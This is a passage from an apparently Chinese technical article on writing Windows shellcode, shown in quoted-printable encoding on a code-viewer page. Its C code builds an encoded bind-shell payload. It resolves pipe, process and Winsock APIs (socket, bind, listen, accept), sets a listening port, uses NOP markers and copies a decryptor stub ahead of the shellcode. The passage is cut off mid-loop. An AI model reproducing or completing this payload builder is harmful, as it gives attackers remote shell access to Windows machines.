📄 关于windows下shellcode编写的一点思考.mht
字号:
=
8192=D7=E3=B9=BB=A3=BF<BR>#define MAX_api_strlen 0x400 =20
=
//APIstr=D7=D6=B7=FB=B4=AE=B5=C4=B3=A4=B6=C8<BR>#define =
API_endstr =20
=
"strend"//API=BD=E1=CE=B2=B1=EA=BC=C7=D7=D6=B7=FB=B4=AE=
=20
=
<BR>#define API_endstrlen 0x06 =20
=
//=B1=EA=BC=C7=D7=D6=B7=FB=B4=AE=B3=A4=B6=C8<BR><BR>#define PROC_BEGIN=20
__asm _emit 0x90 =
__asm _emit 0x90=20
__asm _emit 0x90 =
__asm _emit=20
0x90\<BR> =
=20
=
__asm _emit=20
0x90 __asm _emit 0x90 =
__asm _emit=20
0x90 __asm _emit 0x90<BR>#define =
PROC_END=20
=
PROC_BEGIN<BR>//=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=
=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=
=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=
=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=A3=AD=
=A3=AD=A3=AD=A3=AD=A3=AD<BR>enum{ =20
//Kernel32<BR> =
=20
=
_CreatePipe,<BR> =20
=20
_CreateProcessA,<BR> =20
=
_CloseHandle,<BR> =20
=20
_PeekNamedPipe,<BR> =20
=
_ReadFile,<BR> =20
=20
_WriteFile,<BR> =
=20
_ExitProcess,<BR><BR> =20
=20
//WS2_32<BR> =
=20
_socket,<BR> =
=20
_bind,<BR> =
=20
_listen,<BR> =
=20
_accept,<BR> =
=20
_send,<BR> =
=20
_recv,<BR> =
_ioctlsocket,<BR> =
=20
=20
_closesocket,<BR><BR> =20
=
//=B1=BE=BB=FA=B2=E2=CA=D4User32<BR> =20
=20
_MessageBeep,<BR> =
=20
_MessageBoxA,<BR> =
=20
=20
=
API_num<BR>};<BR><BR>//<BR>//=B4=FA=C2=EB=D5=E2=C0=EF=BF=AA=CA=BC<B=
R>//<BR>int=20
__cdecl main(int argc, char=20
=
**argv)<BR>{<BR> //shellcode=D6=D0=D2=AA=D3=C3=B5=BD=B5=C4=D7=D6=
=B7=FB=B4=AE<BR> static=20
char ApiStr[]=3D"\x1e\x6c" =20
//=B6=CB=BF=DA=B5=D8=D6=B7<BR><BR> =
=20
=
//Kernel32=B5=C4API=BA=AF=CA=FD=C3=FB=B3=C6<BR> =20
=20
"CreatePipe""\x0"<BR> =20
=20
"CreateProcessA""\x0"<BR> =
=20
=20
"CloseHandle""\x0"<BR> =20
=20
"PeekNamedPipe""\x0"<BR> =
=20
=20
"ReadFile""\x0"<BR> =20
=20
"WriteFile""\x0"<BR> =20
=20
"ExitProcess""\x0"<BR><BR> =
=20
=
//=C6=E4=CB=FCAPI=D6=D0=D3=C3=B5=BD=B5=C4API<BR> =20
=20
"wsock32.dll""\x0"<BR> =20
=
"socket""\x0"<BR> =20
=20
"bind""\x0"<BR> =
=20
"listen""\x0"<BR> =
=20
=
"accept""\x0"<BR> =20
=20
"send""\x0"<BR> =
=20
"recv""\x0"<BR> =
=20
=20
"ioctlsocket""\x0"<BR> =20
=20
"closesocket""\x0"<BR> =20
=
//=B1=BE=BB=FA=B2=E2=CA=D4<BR> =20
=20
"user32.dll""\x0"<BR> =20
=20
"MessageBeep""\x0"<BR> =20
=20
"MessageBoxA""\x0"<BR><BR> =
=20
=20
"\x0\x0\x0\x0\x0"<BR> =20
=20
=
"strend";<BR><BR> char *fnbgn_str=3D"\x90\x90=
\x90\x90\x90\x90\x90\x90\x90"; //=B1=EA=BC=C7=BF=AA=CA=BC=B5=C4=
=D7=D6=B7=FB=B4=AE<BR> char *fnend_str=3D"\x90\x90\=
x90\x90\x90\x90\x90\x90\x90"; //=B1=EA=BC=C7=BD=E1=CA=F8=B5=C4=
=D7=D6=B7=FB=B4=AE<BR><BR> char buff[BUFFSIZE];&nbs=
p;=20
=20
=
//=BB=BA=B3=E5=C7=F8<BR> char sc_buff[sc_BUFF=
SIZE]; =20
=
//ShellCodes=BB=BA=B3=E5<BR> char *pDcrypt_ad=
dr,<BR> =20
=20
=
*pSc_addr;<BR><BR> int =20
buff_len; =20
=20
=
//=BB=BA=B3=E5=B3=A4=B6=C8<BR> int =20
EncCode_len; =
=20
=
//=BC=D3=C3=DC=B1=E0=C2=EB=B4=FA=C2=EB=B3=A4=B6=C8<BR> i=
nt =20
Sc_len; =20
=20
=
//=D4=AD=CA=BCShellCode=B5=C4=B3=A4=B6=C8<BR><BR> =
int =20
=20
i,k;<BR> unsigned char=20
=
ch;<BR><BR> //<BR> //=BB=F1=B5=C3DecryptSc()=B5=D8=D6=
=B7=A3=AC=BD=E2=C2=EB=BA=AF=CA=FD=B5=C4=B5=D8=D6=B7=A3=AC=C8=BB=BA=F3=CB=D1=
=CB=F7MAX_Enc_Len=D7=D6=BD=DA=A3=AC=B2=E9=D5=D2=B1=EA=BC=C7=BF=AA=CA=BC=B5=
=C4=D7=D6=B7=FB=B4=AE<BR> //=BB=F1=B5=C3=D5=E6=D5=FD=B5=C4=BD=E2=
=C2=EB=BB=E3=B1=E0=B4=FA=C2=EB=B5=C4=BF=AA=CA=BC=B5=D8=D6=B7=A3=ACMAX_Enc=
_Len=B6=A8=D2=E5=CE=AA1024=D7=D6=BD=DA=D2=BB=B0=E3=D5=E2=D2=D1=BE=AD=D7=E3=
=B9=BB=C1=CB=A3=AC=C8=BB=BA=F3=BD=AB=D5=E2<BR> //=B2=BF=B7=D6=B4=
=FA=C2=EB=BF=BD=B1=B4=C8=EB=B4=FD=CA=E4=B3=F6ShellCode=B5=C4=BB=BA=B3=E5=C7=
=F8=D7=BC=B1=B8=BD=F8=D2=BB=B2=BD=B4=A6=C0=ED<BR> //<BR> =
pDcrypt_addr=3D(char=20
=
*)DecryptSc;<BR><BR> //=B6=A8=CE=BB=C6=E4=CA=B5=BC=CA=B5=D8=D6=
=B7=A3=AC=D2=F2=CE=AA=D4=DA=D3=C3Visual=20
=
Studio=C9=FA=B3=C9=B5=F7=CA=D4=B0=E6=B1=BE=B5=F7=CA=D4=B5=C4=C7=E9=BF=F6=CF=
=C2=A3=AC=B1=E0=D2=EB=C6=F7=BB=E1=C9=FA=B3=C9=CC=F8=D7=AA=B1=ED=A3=AC<BR>=
//=B4=D3=CC=F8=D7=AA=B1=ED=D6=D0=D2=AA=BC=C6=CB=E3=B5=C3=B3=F6=
=BA=AF=CA=FD=CA=B5=BC=CA=CB=F9=D4=DA=B5=C4=B5=D8=D6=B7=A3=AC=D5=E2=D6=BB=CA=
=C7=CE=AA=C1=CB=B7=BD=B1=E3=D3=C3VC=B5=F7=CA=D4<BR><BR> ch=3D*=
pDcrypt_addr;<BR> if=20
(ch=3D=3D0xe9)<BR> {<BR> =
=20
pDcrypt_addr++;<BR> =20
i=3D*(int *)pDcrypt_addr;<BR> =
=20
pDcrypt_addr+=3D(i+4); =20
=
//=B4=CB=CA=B1=D6=B8=CF=F2=BA=AF=CA=FD=B5=C4=CA=B5=BC=CA=B5=D8=D6=B7=
<BR> }<BR> //=D5=D2=B5=BD=BD=E2=C2=EB=B4=FA=C2=EB=B5=
=C4=BF=AA=CA=BC=B2=BF=B7=D6<BR> for(k=3D0;k<MAX_Enc_Len;++k=
)=20
=
if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)=3D=3D0)=20
break;<BR><BR> if (k<MAX_Enc_Len)=20
pDcrypt_addr+=3D(k+8); =20
=
//=C8=E7=D5=D2=B5=BD=B6=A8=CE=BB=CA=B5=BC=CA=B4=FA=C2=EB=B5=C4=BF=AA=
=CA=BC<BR> else=20
<BR> {<BR> =20
=
//=CF=D4=CA=BE=B4=ED=CE=F3=D0=C5=CF=A2<BR> =20
k=3D0;<BR> =
printf("\nNo=20
Begin str defined in Decrypt function!Please =
Check=20
before go on...\n");<BR> =
return=20
=
0;<BR> }<BR><BR> for(k=3D0;k<MAX_Enc_Len;++k)=20
=
if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)=3D=3D0)=20
break;<BR><BR> if (k<MAX_Enc_Len)=20
EncCode_len=3Dk;<BR> else=20
<BR> {<BR> =20
k=3D0;<BR> =
printf("\nNo End=20
str defined in Decrypt function!Please=20
Check....\n");<BR> =
return=20
=
0;<BR> }<BR><BR> memset(buff,nop_CODE,BUFFSIZE);&nb=
sp;=20
=
=20
=20
=
//=BB=BA=B3=E5=C7=F8=CC=EE=B3=E4<BR> memcpy(=
buff+nop_LEN,pDcrypt_addr,EncCode_len); =20
=20
=
//=B0=D1DecryptSc=B4=FA=C2=EB=B8=B4=D6=C6=BD=F8buff<BR>=
<BR> //<BR> //=B4=A6=C0=EDShellCode=B4=FA=C2=EB,=C8=
=E7=B9=FB=D0=E8=D2=AA=B6=A8=CE=BB=B5=BD=B4=FA=C2=EB=B5=C4=BF=AA=CA=BC<BR>=
//<BR> pSc_addr=3D(char=20
*)ShellCodes; =20
=
//shellcode=B5=C4=B5=D8=D6=B7<BR><BR> //=B5=F7=
=CA=D4=D7=B4=CC=AC=CF=C2=B5=C4=BA=AF=CA=FD=B5=D8=D6=B7=B4=A6=C0=ED=A3=AC=B1=
=E3=D3=DA=B5=F7=CA=D4<BR> ch=3D*pSc_addr;<BR> if=20
(ch=3D=3D0xe9)<BR> {<BR> =
=20
pSc_addr++;<BR> =
i=3D*(int=20
*)pSc_addr;<BR> =20
pSc_addr+=3D(i+4); =20
=
//=B4=CB=CA=B1=D6=B8=CF=F2=BA=AF=CA=FD=B5=C4=CA=B5=BC=CA=B5=D8=D6=B7=
<BR> }<BR><BR> //=C8=E7=B9=FB=D0=E8=D2=AA=B6=A8=CE=BB=
=B5=BD=CA=B5=BC=CAShellCodes()=B5=C4=BF=AA=CA=BC=A3=AC=D5=E2=B8=F6=B0=E6=B1=
=BE=D6=D0=CA=C7=B2=BB=D0=E8=D2=AA=B5=C4<BR> /*<BR> =
for=20
(k=3D0;k<MAX_Sc_Len ;++k )=20
=
if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)=3D=3D0)=20
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -